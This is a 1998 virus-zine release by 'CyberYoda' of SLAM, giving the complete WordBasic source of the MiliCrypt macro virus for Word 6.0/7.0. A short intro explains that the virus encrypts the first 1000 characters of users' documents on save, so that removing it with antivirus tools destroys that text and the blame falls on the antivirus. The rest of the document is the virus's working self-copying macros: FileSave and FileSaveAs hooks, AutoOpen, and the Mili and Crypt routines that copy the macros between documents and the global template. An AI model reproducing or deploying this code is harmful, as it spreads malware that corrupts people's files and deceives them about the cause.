Copy Link
Add to Bookmark
Report
SLAM4.039: WordMacro.MiliCrypt by CyberYoda/SLAM
VIRUS NAME: MiliCrypt
VIRUS AUTHOR: CyberYoda
ORIGIN: USA
PLATFORM: Word 6.0/7.0
This is a little WM virus employs an Idea that I have been toying with...
Upon saving the file to the disk, MiliCrypt will encrypt the first 1000 characters of the Users data in the word file. Upon opening the file, MiliCrypt will decrypt the data, and show the user the unaltered data.
If AV tries to remove the macros without decrypting the data the user will lose 1000 characters of data, for they will appear as garbage. Hopefully they will blame the AV for screwing up their data. ;)
Its not perfect, but it is original enough to prove my point.
==============================================================================
Macro name: ToolsMacro [TOOLSMACRO]
------------------------------------------------------------------------------
Sub MAIN
' MiliCrypt (C) 1998 by CyberYoda [SLAM]
End Sub
==============================================================================
Macro name: Sel [SEL]
-----------------------------------------------------------------------------
Sub MAIN
EndOfDocument
If GetSelEndPos() > 1000 Then
SetSelRange 0, 1000
ElseIf GetSelEndPos() > 0 Then
SetSelRange 0, GetSelEndPos()
End If
End Sub
==============================================================================
Macro name: FileSave [FILESAVE]
------------------------------------------------------------------------------
Sub MAIN
On Error Goto Z
DisableInput
DisableAutoMacros 0
Dim A As FileSaveAs
GetCurValues A
L$ = Left$(WindowName$(), 8)
If L$ = "Document" Or L$ = "Template" Then Dialog A
If A.Format = 0 Or A.Format = 1 Then
WaitCursor 1
ScreenUpdating 0
S = GetSelEndPos()
Sel
If GetSelEndPos() > 0 Then
A$ = Selection$()
B$ = ""
K = Int(Rnd() * 255) + 1
ToolsMacro .Name = "AO", .Description = LTrim$(Chr$(K)), .SetDesc
For B = 1 To Len(A$)
C = Asc(Mid$(A$, B, 1)) + K
If C > 255 Then C = C - 255
B$ = B$ + Chr$(C)
Next B
EditCopy
Insert B$
EndIf
A.Format = 1
Mili
FileSaveAs A
Sel
If GetSelEndPos() > 0 Then
EditPaste
SetSelRange S, S
SetTemplateDirty 0
EndIf
Goto Z :
End If
FileSave
Z:
End Sub
==============================================================================
Macro name: FileSaveAs [FILESAVEAS]
------------------------------------------------------------------------------
Sub MAIN
On Error Goto Z
DisableInput
DisableAutoMacros 0
Dim A As FileSaveAs
GetCurValues A
If A.Format <> 1 Then
Dialog A
Call I
A.Format = 1
Mili
FileSaveAs A
Sel
If GetSelEndPos() > 0 Then
EditPaste
SetSelRange S, S
End If
SetTemplateDirty 0
ElseIf Right$(A.Name, 3) = "dot" Then
Dialog A
Else
O$ = A.Name
TW = Window()
If DocMaximize() = 0 Then
Lft = DocWindowPosLeft()
Tp = DocWindowPosTop()
Hght = DocWindowHeight()
Wth = DocWindowWidth()
FileNew .Template = FileName$()
DocWindowPosLeft Lft
DocWindowPosTop Tp
DocSize Wth, Hght
Else
FileNew .Template = FileName$()
End If
On Error Goto C
GetCurValues X
X.Name = O$
Dialog X
On Error Goto Z
Call I
X.Format = 1
Mili
'ToolsMacro .Name = "AO", .Description = "", .SetDesc
FileSaveAs X
Sel
EditPaste
SetSelRange S, S
SetTemplateDirty 0
If TW >= Window() Then TW = TW + 1
WindowList TW
C:
FileClose 2
End If
Z:
End Sub
Sub I
WaitCursor 1
ScreenUpdating 0
S = GetSelEndPos()
Sel
If GetSelEndPos() > 0 Then
A$ = Selection$()
B$ = ""
K = Int(Rnd() * 255) + 1
ToolsMacro .Name = "AO", .Description = LTrim$(Chr$(K)), .SetDesc
For B = 1 To Len(A$)
C = Asc(Mid$(A$, B, 1)) + K
If C > 255 Then C = C - 255
B$ = B$ + Chr$(C)
Next B
EditCopy
Insert B$
End If
End Sub
==============================================================================
Macro name: Mili [MILI]
------------------------------------------------------------------------------
Sub MAIN
On Error Resume Next
G$ = "Global:"
W$ = WindowName$() + ":"
MacroCopy G$ + "FileSaveAs", W$ + "FileSaveAs", 1
MacroCopy G$ + "FileSave", W$ + "FileSave", 1
MacroCopy G$ + "AO", W$ + "AutoOpen"
MacroCopy G$ + "Sel", W$ + "Sel", 1
MacroCopy G$ + "Mili", W$ + "Mili", 1
MacroCopy G$ + "Crypt", W$ + "Crypt", 1
MacroCopy G$ + "ToolsMacro", W$ + "ToolsMacro", 1
End Sub
==============================================================================
Macro name: Crypt [CRYPT]
------------------------------------------------------------------------------
Sub MAIN
On Error Resume Next
G$ = "Global:"
W$ = WindowName$() + ":"
MacroCopy W$ + "FileSaveAs", G$ + "FileSaveAs", 1
MacroCopy W$ + "FileSave", G$ + "FileSave", 1
MacroCopy W$ + "AutoOpen", G$ + "AO"
MacroCopy W$ + "Sel", G$ + "Sel", 1
MacroCopy W$ + "Mili", G$ + "Mili", 1
MacroCopy W$ + "Crypt", G$ + "Crypt", 1
MacroCopy W$ + "ToolsMacro", G$ + "ToolsMacro", 1
End Sub
==============================================================================
Macro name: AutoOpen [AUTOOPEN]
------------------------------------------------------------------------------
Sub MAIN
If MacroDesc$("AutoOpen") <> "" Then
WaitCursor 1
ScreenUpdating 0
S = GetSelEndPos()
Sel
If GetSelEndPos() > 0 Then
A$ = Selection$()
B$ = ""
K = Asc(MacroDesc$("AutoOpen"))
For B = 1 To Len(A$)
C = Asc(Mid$(A$, B, 1)) - K
If C < 0 Then C = C + 255
B$ = B$ + Chr$(C)
Next B
Insert B$
SetSelRange S, S
ScreenRefresh
SetTemplateDirty 0
EndIf
Crypt
'ToolsMacro .Name = "AutoOpen", .Description = "", .SetDesc
EndIf
End Sub
==============================================================================
